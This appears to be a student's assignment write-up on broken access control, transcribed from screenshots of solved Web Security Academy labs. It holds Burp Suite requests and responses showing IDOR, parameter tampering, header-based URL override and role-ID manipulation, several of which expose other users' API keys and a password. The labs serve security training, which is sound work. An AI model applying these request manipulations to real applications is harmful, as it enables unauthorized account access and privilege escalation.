

Internship Assignment

Cyber Security and Digital Forensics

Assignment 7: Broken Access Control

Kiran Mohan

The screenshot shows the Web Security Academy interface for the 'Insecure direct object references' lab. The lab is marked as 'Solved'. A congratulatory message states 'Congratulations, you solved the lab!'. Below this, the 'My Account' section shows the username 'carlos' and an email update form. To the right, the Burp Suite interface is visible, showing a request and response. The request is a GET request for '/download-transcript/1.txt'. The response is an HTTP 200 OK with a text/plain content type. The response body contains a transcript of a conversation between Hal Pline and a user.

The screenshot shows the Web Security Academy interface for the 'Method-based access control can be circumvented' lab. The lab is marked as 'Solved'. A congratulatory message states 'Congratulations, you solved the lab!'. Below this, the 'My Account' section shows the username 'wiener' and an email update form. To the right, the Burp Suite interface is visible, showing a request and response. The request is a GET request for '/admin-roles?username=wiener&action=upgrade'. The response is an HTTP 1.1 302 Found with a location of '/admin'. The response body is empty.

Web Security Academy x Lab: Multi-step process with no access control on one step x Multi-step process with no access control on one step x

Multi-step process with no access control on one step

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! Continue learning >>

Home | My account | Log out

My Account

Your username is: wiener

Email

Update email

notes.txt - lab-12 - Visual Studio Code

Burp Suite Community Edition v2022.7.1 - Temporary Project

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender

Project options User options Learn

7 x 8 x +

Send Cancel < > Target: https://0a0a001a04e4f9b5c27a5d9900670017.web-security-academy.net/ HTTP/1

Request

Pretty Raw Hex

```
1 POST /admin-roles HTTP/1.1
2 Host: 0a0a001a04e4f9b5c27a5d9900670017.web-security-academy.net
3 Cookie: session=xMzBwSup0b1A6nFF08HeEdaGqtdrb6Lr
4 Content-Length: 30
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Linux"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0a0a001a04e4f9b5c27a5d9900670017.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://0a0a001a04e4f9b5c27a5d9900670017.web-security-academy.net/
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 401 Unauthorized
2 Content-Type: application/json; charset=utf-8
3 Connection: close
4 Content-Length: 14
5
6 "Unauthorized"
```

129 bytes | 107 milliseconds

Web Security Academy x Lab: Referer-based access control x Referer-based access control x

Referer-based access control

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! Continue learning >>

Home | Admin panel | My account | Log out

My Account

Your username is: wiener

Elements Console Sources Network Performance Memory Application Security >>

Application

- Manifest
- Service Workers
- Storage

Storage

- Local Storage
- Session Storage
- IndexedDB
- Web SQL
- Cookies
 - https://0a8500de047c09c4c04e052f0022007a.web-security-academy.net/
 - Trust Tokens
 - Interest Groups

Cache

- Cache Storage
- Back/forward cache

Background Services

- Background Fetch
- Background Sync
- Notifications
- Payment Handler
- Periodic Background Sync

Select a cookie to preview its value

Name	Value	Path	Expires	Size	HttpOnly	Secure	SameSite	Partitioned	Priority
session	2xpkgYC6PubbwoyzWP85Y0LZo...	/		39	✓	✓	N...		M...

notes.txt - lab-13 - Visual Studio Code

Burp Suite Community Edition v2022.7.1 - Temporary Project

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender

Project options User options Learn

10 x +

Send Cancel < > Target: https://0a8500de047c09c4c04e052f0022007a.web-security-academy.net/admin HTTP/1

Request

Pretty Raw Hex

```
1 upgrade HTTP/1.1
2 Host: 0a8500de047c09c4c04e052f0022007a.web-security-academy.net
3 Cookie: session=2xpkgYC6PubbwoyzWP85Y0LZoHKxfvry
4 Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Linux"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0a8500de047c09c4c04e052f0022007a.web-security-academy.net/admin
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;q=0.9
17 Connection: close
18
19
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 302 Found
2 Location: /admin
3 Connection: close
4 Content-Length: 0
5
6
```

78 bytes | 168 milliseconds

Web Security Academy

Unprotected admin functionality

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) Continue learning >>

Home | My account

User deleted successfully!

Users

wiener - [Delete](#)

Web Security Academy

Unprotected admin functionality with unpredictable URL

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) Continue learning >>

Home | My account

User deleted successfully!

Users

wiener - [Delete](#)

Web Security Academy

URL-based access control can be circumvented

LAB Solved

Back to lab description

Congratulations, you solved the lab!

Share your skills!Continue learning

HomeAdmin panelMy account

WE LIKE TO SHOP

Couple's Umbrella\$27.93

Adult Space Hopper\$1.29

Pet Experience Days\$94.86

Dancing In The Dark\$90.46

View details

View details

View details

View details

notes.txt - lab-05 - Visual Studio Code

Burp Suite Community Edition v2022.7.1 - Temporary Project

DashboardTargetProxyIntruderRepeaterSequencerDecoderComparerLoggerExtender

Project optionsUser optionsLearn

2 x 3 x +

SendCancelTarget: https://0a4c000a041db2d2c1e30f2e00fe008f.web-secu...HTTP/1

Request

1 GET /admin HTTP/1.1

2 Host: 0a4c000a041db2d2c1e30f2e00fe008f.web-secu

3 Cookie: session=7pQvH821UbuMLLKgfyPXGSUWEFhMS0P

4 Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"

5 Sec-Ch-Ua-Mobile: ?0

6 Sec-Ch-Ua-Platform: "Linux"

7 Upgrade-Insecure-Requests: 1

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

10 Sec-Fetch-Site: same-origin

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-User: ?1

13 Sec-Fetch-Dest: document

14 Referer: https://0a4c000a041db2d2c1e30f2e00fe008f.web-security-academy.net/?username=carlos

15 X-Original-URL: /admin/delete

16 Accept-Encoding: gzip, deflate

17 Accept-Language: en-US,en;q=0.9

18 Connection: close

19

Response

1 HTTP/1.1 403 Forbidden

2 Content-Type: application/json; charset=utf-8

3 Connection: close

4 Content-Length: 15

5

6 "Access denied"

Inspector

Done127 bytes | 124 millis

Web Security Academy

User ID controlled by request parameter

LAB Solved

Back to lab description

Congratulations, you solved the lab!

Share your skills!Continue learning

HomeMy accountLog out

My Account

Your username is: wiener

Your API Key is: 5ubaJQ0wNhxPpb4tckA9N6MPAW71f9JC

Email

Update email

notes.txt - lab-07 - Visual Studio Code

Burp Suite Community Edition v2022.7.1 - Temporary Project

ProjectIntruderRepeaterWindowHelp

DashboardTargetProxyIntruderRepeaterSequencerDecoderComparerLoggerExtender

Project optionsUser optionsLearn

idCancelTarget: https://0a3400f803d96ab1c1d3ed1b005d0078.web-s...HTTP/1

Request

1 GET /my-account?id=carlos HTTP/1.1

2 Host: 0a3400f803d96ab1c1d3ed1b005d0078.web-se

3 Cookie: session=NkFMdBaPnr2QBKAGpnKqSfAqW0gse

4 c-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"

5 c-Ch-Ua-Mobile: ?0

6 c-Ch-Ua-Platform: "Linux"

7 Upgrade-Insecure-Requests: 1

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

10 c-Fetch-Site: same-origin

11 c-Fetch-Mode: navigate

12 c-Fetch-User: ?1

13 c-Fetch-Dest: document

14 Referer: https://0a3400f803d96ab1c1d3ed1b005d0078.web-security-academy.net/

15 Accept-Encoding: gzip, deflate

16 Accept-Language: en-US,en;q=0.9

17

Response

51 </p>

52 </section>

53 </header>

54 <header class="notification-header">

55 </header>

56 <h1>

57 My Account

58 </h1>

59 <div id=account-content>

60 <p>

61 Your username is: carlos

62 </p>

63 <div>

64 Your API Key is:

65 3h15uzKpooUJLLmpM6Qaxfuo5d51Af

66 </div>

67 <div>

68 <form class="login-form" name="

69 change-email-form" action="

70 /my-account/change-email" method

71 ="POST">

72 <label>

73 Email

74 </label>

75 <input required type="email"

76 name="email" value="">

77 <input required type="hidden"

Inspector

API1 match3,430 bytes | 129 millis

Web Security Academy

User ID controlled by request parameter with data leakage in redirect

LAB Solved

congratulations, you solved the lab!

Share your skills!

Continue learning >>

Login

Username

Password

Log in

Home

My account

notes.txt - lab-09 - Visual Studio Code

File Edit Selection View Go Run Terminal Help

notes.txt x access-control-lab-09.nv

Burp Suite Community Edition v2022.7.1 - Temporary Project

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger

Project options User options Learn

Intercept HTTP history WebSockets history Options

Filter: Hiding CSS, image and general binary content

#	Host	Method	URL	Params	Edited
309	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/resources/labheader/images/ps-lab-sol...		
308	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	POST	/submitSolution	✓	
307	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/academyLabHeader		
306	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/login		
305	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/my-account?id=carlos	✓	
304	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/academyLabHeader		
303	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/my-account?id=wiener	✓	
302	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/academyLabHeader		
301	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/my-account		
300	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	POST	/login	✓	
299	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/academyLabHeader		
297	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/login		
296	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/my-account		
294	https://0a45005504c18dfbc084191c00d500d4.web-security-academy.net/...	GET	/resources/labheader/images/logoAcade...		

Request

Pretty Raw Hex

1 GET /my-account?id=carlos HTTP/1.1

2 Host: 0a45005504c18dfbc084191c00d500d4.web-security-academy.net

3 Cookie: session=NijcZZW7akdkU8Wr6RUy4g2bMmFpuT9n

4 Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"

5 Sec-Ch-Ua-Mobile: ?0

6 Sec-Ch-Ua-Platform: "Linux"

7 Upgrade-Insecure-Requests: 1

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Response

Pretty Raw Hex Render

53 </header>

54 <header class="notification-p...

55 </header>

56 <h1>

57 My Account

58 </h1>

59 <div id=account-content>

60 <p>

61 Your username is: carlos

62 </p>

63 </div>

64 Your API Key is:

65 sa1NQZ1qCSGUCjbARtdQ7WqFC

66 </div>

67

68 <form class="login-form" ne

Web Security Academy

User ID controlled by request parameter with password disclosure

LAB Solved

Congratulations, you solved the lab!

Share your skills!

Continue learning >>

Users

wiener - Delete

notes.txt - lab-10 - Visual Studio Code

File Edit Selection View Go Run Terminal Help

notes.txt x access-control-lab-10.nv

Burp Suite Community Edition v2022.7.1 - Temporary Project

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Ext...

Project options User options Learn

1 x +

Send Cancel < > Target: https://0ae100b0031e6f76c2b4520800440067.web-securi... HTTP/1

Request

Pretty Raw Hex

1 GET /my-account?id=administrator HTTP/1.1

2 Host: 0ae100b0031e6f76c2b4520800440067.web-security-academy.net

3 Cookie: session=WI8J0oGmv017wtmGxZsMXLJBFAJIJ9y

4 Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"

5 Sec-Ch-Ua-Mobile: ?0

6 Sec-Ch-Ua-Platform: "Linux"

7 Upgrade-Insecure-Requests: 1

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

10 Sec-Fetch-Site: same-origin

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-User: ?1

13 Sec-Fetch-Dest: document

14 Referer: https://0ae100b0031e6f76c2b4520800440067.web-security-academy.net/my-account

15 Accept-Encoding: gzip, deflate

16 Accept-Language: en-US,en;q=0.9

17 Connection: close

18

19

Response

Pretty Raw Hex Render

60 <button class='button' type='

61 submit'>

62 Update email

63 </button>

64 </form>

65 <form class="login-form" action="

66 /my-account/change-password"

67 method="POST">

68

69 <label>

70 Password

71 </label>

72 <input required type="hidden"

73 name="csrf" value="

74 098Gpbc0zAfpaw0lNTUd0DDIUwLBxDHK

75 ">

76 <input required type=password

77 name=password value='

78 5de96afh79ueoyftcxsq'>

79 <button class='button' type='

80 submit'>

81 Update password

82 </button>

83 </form>

84 </div>

85 </div>

86 </section>

87 </div>

88 </body>

89 </html>

90

91

Web Security Academy

User ID controlled by request parameter, with unpredictable user IDs

LAB Solved

Back to lab description >>

congratulations, you solved the lab!

Share your skills!

Continue learning >>

Home

My account

Log out

My Account

Your username is: **wiener**

Your API Key is: eYpWwhcSjktZoNZEeM6IZsLZRbyuk3tF

Email

Update email

notes.txt - lab-08 - Visual Studio Code

File Edit Selection View Go Run Terminal Help

notes.txt x access-control-lab-08.nv

Burp Suite Community Edition v2022.7.1 - Temporary Project

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder

Project options User options Learn

2 x +

Send Cancel < > Target: https://0afe004c036fc5bec201dd2d00ba003b.web-security-academy.net/...

Request

Pretty Raw Hex

1 GET /my-account?id=77023420-2953-4f54-b9d5-f014f1b84ad9 HTTP/1.1

2 Host: 0afe004c036fc5bec201dd2d00ba003b.web-security-academy.net

3 Cookie: session=sutAdUumguF6jyXs9mt0WjVhilsCkDxS

4 Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"

5 Sec-Ch-Ua-Mobile: ?0

6 Sec-Ch-Ua-Platform: "Linux"

7 Upgrade-Insecure-Requests: 1

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36

9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

10 Sec-Fetch-Site: same-origin

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-User: ?1

13 Sec-Fetch-Dest: document

14 Referer: https://0afe004c036fc5bec201dd2d00ba003b.web-security-academy.net/blogs?userId=77023420-2953-4f54-b9d5-f014f1b84ad9

15 Accept-Encoding: gzip, deflate

16 Accept-Language: en-US,en;q=0.9

Response

Pretty Raw Hex F

51 </p><a href='Log out'<p></section>

52 </header>

53 </header class=

54 </header>

55 <h1>My Account</h1>

56 <div id=acco

57 <p>Your usei

58 </p>

59 <div>Your APIhSLTX0zcd</div>

60 <form claschange-ema/my-accountPOST">

61 <label>Email</label><input rname="emi

62

0 matches Search... carlos

Web Security Academy

User role can be modified in user profile

LAB Solved

Back to lab description >>

Congratulations, you solved the lab!

Share your skills!Continue learning >>

HomeAdmin panelMy account

User deleted successfully!

Users

wiener - Delete

notes.txt - lab-04 - Visual Studio Code

File Edit Selection View Go Run Terminal Help

notes.txtaccess-control-lab-04.py

ProjectIntruderRepeaterWindowHelp

OptionsTargetProxyIntruderRepeaterSequencerDecoderComparerLoggerExtender

OptionsUser optionsLearn

2x+

Cancel<>>Follow redirectionTarget: https://0a2c00820491c07ec06b165c00a600b0.web-security-academy.net/adminHTTP/1.1

RawHex

RawHexRender

1 HTTP/1.1 302 Found

2 Location: /my-account

3 Content-Type: application/json; charset=utf-8

4 Connection: close

5 Content-Length: 116

6

7 {

8 "username": "wiener",

9 "email": "test@test.ca",

10 "apikey": "NZJ8K0ZcEzthKuZagzhnQjw7bTnNPgoR",

11 "roleid": 2

12 }

0 matches0 matches

248 bytes | 239 millis

Web Security Academy

User role can be modified in user profile

Back to lab description >>

Congratulations, you solved the lab!

Share your skills!

HomeAdmin panelMy account

User deleted successfully!

Users

wiener - Delete